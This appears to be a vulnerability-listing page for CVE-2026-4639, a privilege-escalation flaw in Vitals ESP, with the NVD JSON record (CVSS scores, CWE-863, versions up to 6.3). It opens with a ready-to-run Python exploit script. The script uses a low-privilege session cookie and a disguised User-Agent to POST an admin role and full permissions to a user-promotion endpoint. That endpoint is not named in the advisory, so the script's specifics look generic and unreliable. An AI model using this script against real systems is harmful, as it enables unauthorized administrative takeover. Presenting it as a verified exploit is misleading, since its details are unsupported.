CVE-2026-4639

import requests # Exploit Title: Vitals ESP Privilege Escalation via Incorrect Authorization # CVE: CVE-2026-4639 # Description: Exploits incorrect authorization to escalate privileges to Administrator. target_url = "http://target-ip/api/v1/users/promote" # Attacker's low-privilege session cookie session_cookie = { "sessionId": "attacker_low_priv_session_id" } # Headers to mimic a legitimate API request headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload to promote current user to admin payload = { "userId": "current_user_id", "role": "admin", "permissions": ["read", "write", "delete", "manage"] } try: response = requests.post(target_url, json=payload, cookies=session_cookie, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Privileges escalated.") print("[+] Response:", response.text) else: print("[-] Exploit failed. Status code:", response.status_code) print("[-] Response:", response.text) except requests.exceptions.RequestException as e: print("[-] An error occurred:", e)

{"cve": {"id": "CVE-2026-4639", "sourceIdentifier": "[email protected]", "published": "2026-03-24T05:16:25.167", "lastModified": "2026-04-15T16:29:24.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vitals ESP developed by Galaxy Software Services has a Incorrect Authorization vulnerability, allowing authenticated remote attackers to perform certain administrative functions, thereby escalating privileges."}, {"lang": "es", "value": "Vitals ESP desarrollado por Galaxy Software Services tiene una vulnerabilidad de autorización incorrecta, permitiendo a atacantes remotos autenticados realizar ciertas funciones administrativas, escalando así privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gss:vitalsesp:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.3", "matchCriteriaId": "1ED528F0-C755-4447-A26D-1F10CAA1B30A"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10795-25784-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10794-704a2-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}